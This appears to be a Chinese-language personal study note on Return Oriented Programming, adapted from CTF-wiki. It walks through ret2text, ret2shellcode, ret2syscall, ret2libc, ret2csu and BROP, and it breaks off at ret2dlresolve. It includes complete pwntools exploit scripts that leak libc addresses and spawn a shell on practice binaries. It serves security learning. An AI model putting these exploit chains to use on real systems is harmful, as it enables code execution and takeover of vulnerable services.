ROP学习笔记

参考,搬运:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/
仅作个人学习使用!

0x01 基本ROP

0、寻找危险函数

通过寻找危险函数,我们快速确定程序是否可能有栈溢出,以及有的话,栈溢出的位置在哪里。常见的危险函数如下

  • 输入
    • gets,直接读取一行,忽略’\x00’
    • scanf
    • vscanf
  • 输出
    • sprintf
  • 字符串
    • strcpy,字符串复制,遇到’\x00’停止
    • strcat,字符串拼接,遇到’\x00’停止
    • bcopy

1、ROP

ROP(Return Oriented Programming)

基本思想:栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

2、每部分思路记录

ret2text:

​ 开了nx保护(不可执行),可以寻找系统函数和字符串,覆盖返回地址构造执行;

ret2shellcode:

​ 什么保护都没有,可以使用gdb的vmmap查看权限,发现bss可执行,直接构造shellcode注入到bss段中

shellcode的构造方法(完整payload):

1
2
3
4
5
6
7
8
9
#!/usr/bin/env python
from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()

ret2syscall:

有nx保护的情况下,我们也可以通过系统调用来实现pwn

​ 系统调用和普通库函数调用非常相似,只是系统调用由操作系统内核提供,运行于内核核心态,而普通的库函数调用由函数库或用户自己提供,运行于用户态。

​ 也就是说,我们通过调用内核函数完成system函数的调用,在linux上,系统调用通过int 80h实现。

其中,该程序是 32 位,所以我们需要使:

  • 系统调用号,即 eax 应该为 0xb
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0

使用条件:其实还是挺苛刻的,程序里必须有指定的指令集,要不就不太方便实现调用

步骤:将eax、ebx、ecx、edx赋值,最后调用int 80h

具体实现:

首先要在程序中找到上面步骤中提到的这些动作:

使用命令ropgadgets来找:

1
2
3
4
ROPgadget --binary rop  --only 'pop|ret' | grep 'eax'
ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
ROPgadget --binary rop --string '/bin/sh'
ROPgadget --binary rop --only 'int'

找到之后,把地址按照顺序排列调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python
from pwn import *

sh = process('./rop')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()

ret2libc:

要搞清楚libc,首先要对got、plt表的内容有所了解

got&plt表

比如说,我们调用了系统函数scanf,过程是怎么样的呢?
在反编译的text中,出现call的语句并不直接指向scanf函数的真实地址,而是指向scanf@plt的地址,我们跳入plt表的相应位置后,会出现一句jmp,让我们再跳到got表上记录的对应位置,也就是真实的,系统调用发生的位置。

img

​ 所以简单的总结一下,我们调用的时候,填plt的地址,我们得到真实地址,需要got表。

具体的内容:可以参考相关的另一篇笔记 明白了两个表之后,我们继续学习libc!

利用思路:泄露libc地址,直接调用其中的system函数。

关键点:

  • system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集,如下
  • https://github.com/niklasb/libc-database

综上证明了一件事,知道libc中一个函数的地址,就可以知道其他的。、

常用手法:GOT表泄露

​ 在上文中,我们讲了got表和延迟绑定,我们知道要由于延迟绑定的存在,只能泄露got表中曾经执行过函数的地址。

​ 在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。

这里我们泄露 __libc_start_main 的地址,这是因为它是程序最初被执行的地方。

利用流程:

  • 泄露 __libc_start_main 地址
  • 获取 libc 版本
  • 获取 system 地址与 /bin/sh 的地址
  • 再次执行源程序
  • 触发栈溢出执行 system(‘/bin/sh’)

exp 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']#用于后续调用put函数
libc_start_main_got = ret2libc3.got['__libc_start_main']#获取存储main的got表的地址
main = ret2libc3.symbols['main']

print "leak libc_start_main_got addr and return to main again"
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
#关于这里为啥是112偏移,这是由于ida的显示问题,用gdb调试看即可(实际是因为传了两个参数)
sh.sendlineafter('Can you find it !?', payload)

print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

print "get shell"
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()

0x02 中级ROP

一、RETCSU——64位ROP

概述:

​ retcsu是针对64位的一种溢出构造方法,在 64 位程序中,函数的前 6 个参数是通过寄存器:rdi, rsi, rdx, rcx, r8, r9传递的(参看调用规则),因此我们要尝试操控寄存器才能达成传参调用我们想调用的函数的效果。 这时候,我们可以利用 x64 下的中的**__libc_csu_init**中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。(亲测随便找了一个程序还真的有)

image-20220510113213734

​ 虽然不同的版本有所不同,但是这个函数大致流程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
略一段
__libc_csu_init+54j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call qword ptr [r12+rbx*8]
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
.text:0000000000400624 __libc_csu_init endp
  • 通过0040061A 一直到结尾,可以控制 rbx,rbp,r12,r13,r14,r15 ;
  • rdi:00400606中mov edi, r15d,给rdi的低32位赋值。
  • rsi:00400603 中 mov rsi, r14;
  • rdx:00400600中mov rdx, r13;

简单地说我们对于寄存器的控制就是:

  • 利用尾部代码控制了 rbx,rbp,r12,r13,r14,r15。
  • 利用中间部分的代码控制了 rdx,rsi,edi。

设置好了这些传参之后,我们可以直接通过00400609进行调用call qword ptr [r12+rbx*8](这些寄存器都是我们能够控制的):

  • 从 0x000000000040060D 到 0x0000000000400614,我们可以控制 rbx 与 rbp 的之间的关系为 rbx+1 = rbp,这样我们就不会执行jmp loc_400600,进而可以继续执行下面的汇编程序。这里我们可以简单的设置 rbx=0,rbp=1。
  • 然后我们通过控制r12记录我们要调用的函数地址就可以实现调用。

给出一个通用的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
from LibcSearcher import LibcSearcher

#context.log_level = 'debug'

level5 = ELF('./level5')
sh = process('./level5')

write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_addr = 0x0000000000400600
csu_end_addr = 0x000000000040061A
fakeebp = 'b' * 8


def csu(rbx, rbp, r12, r13, r14, r15, last):
# 七个参数的作用:
# 参数rbx、rbp固定为0 1;
# 参数r12为需要调用函数的地址其实就是返回地址;
# 参数r13、r14、r15为三个参数;
# 参数last为r12处函数执行完后的返回地址
payload = 'a' * 0x80 + fakeebp
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
payload += p64(last)
sh.send(payload)
sleep(1)


sh.recvuntil('Hello, World\n')
## RDI, RSI, RDX, RCX, R8, R9, more on the stack
## write(1,write_got,8)
csu(0, 1, write_got, 8, write_got, 1, main_addr)
# 调用write函数输出write函数got表的值,泄露libc,然会返回到main函数

write_addr = u64(sh.recv(8))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr ' + hex(execve_addr))
##gdb.attach(sh)
#计算libc基地址,然后计算execve函数的地址,

## read(0,bss_base,16)
## read execve_addr and /bin/sh\x00
sh.recvuntil('Hello, World\n')
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
#调用read函数在bss段写入/bin/sh\x00字段,返回到main函数
sh.send(p64(execve_addr) + '/bin/sh\x00')

sh.recvuntil('Hello, World\n')
## execve(bss_base+8)
csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)
//
sh.interactive()

在csu(0, 1, write_got, 8, write_got, 1, main_addr)执行时,实际的处理顺序如下所示:

image-20220513152245754

​ 那么,既然这个csu这么牛,难道是通用的嘛,其实这个溢出的关键问题是溢出的位数太多了,如果只能溢出一小段,那就不好使了。

​ 同时,在多种其他的ROP手段中,我们也常常利用到 __libc_csu_init 函数进行rop,彼时我们可能希望能够控制更多的寄存器。我们利用上述一大段pop时,可以通过设置偏移来影响其他的寄存器如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
gef➤  x/5i 0x000000000040061A  #原偏移量,控制原有的六个寄存器
0x40061a <__libc_csu_init+90>: pop rbx
0x40061b <__libc_csu_init+91>: pop rbp
0x40061c <__libc_csu_init+92>: pop r12
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
gef➤ x/5i 0x000000000040061b #改变偏移控制rbp
0x40061b <__libc_csu_init+91>: pop rbp
0x40061c <__libc_csu_init+92>: pop r12
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
gef➤ x/5i 0x000000000040061A+3 #改变偏移控制rsp
0x40061d <__libc_csu_init+93>: pop rsp
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
gef➤ x/5i 0x000000000040061e
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
gef➤ x/5i 0x000000000040061f
0x40061f <__libc_csu_init+95>: pop rbp
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
gef➤ x/5i 0x0000000000400620
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
0x400626: nop WORD PTR cs:[rax+rax*1+0x0]
gef➤ x/5i 0x0000000000400621 #改变拍偏移控制rsi、以及下面的rdi
0x400621 <__libc_csu_init+97>: pop rsi
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
gef➤ x/5i 0x000000000040061A+9
0x400623 <__libc_csu_init+99>: pop rdi
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
0x400626: nop WORD PTR cs:[rax+rax*1+0x0]
0x400630 <__libc_csu_fini>: repz ret

二、BROP

​ BROP 是没有对应应用程序的源代码或者二进制文件下,对程序进行攻击,劫持程序的执行流(这么叼???)。

攻击条件:

  1. 源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程。
  2. 服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有 ASLR 保护,但是其只是在程序最初启动的时候有效果,也就是程序不能开pie)。目前 nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的。

攻击流程:

参考例子。

举个例子:

https://lhl7.github.io/2022/05/17/pwn_hctf2016-brop_writeup/

0x03 高级ROP

高级 ROP 其实和一般的 ROP 基本一样,其主要的区别在于它利用了一些更加底层的原理。

一、ret2dlresolve

参考:https://lhl7.github.io/2022/05/08/pwn%E5%85%A5%E9%97%A8%E4%B9%8Bgot&plt%E8%A1%A8/

提到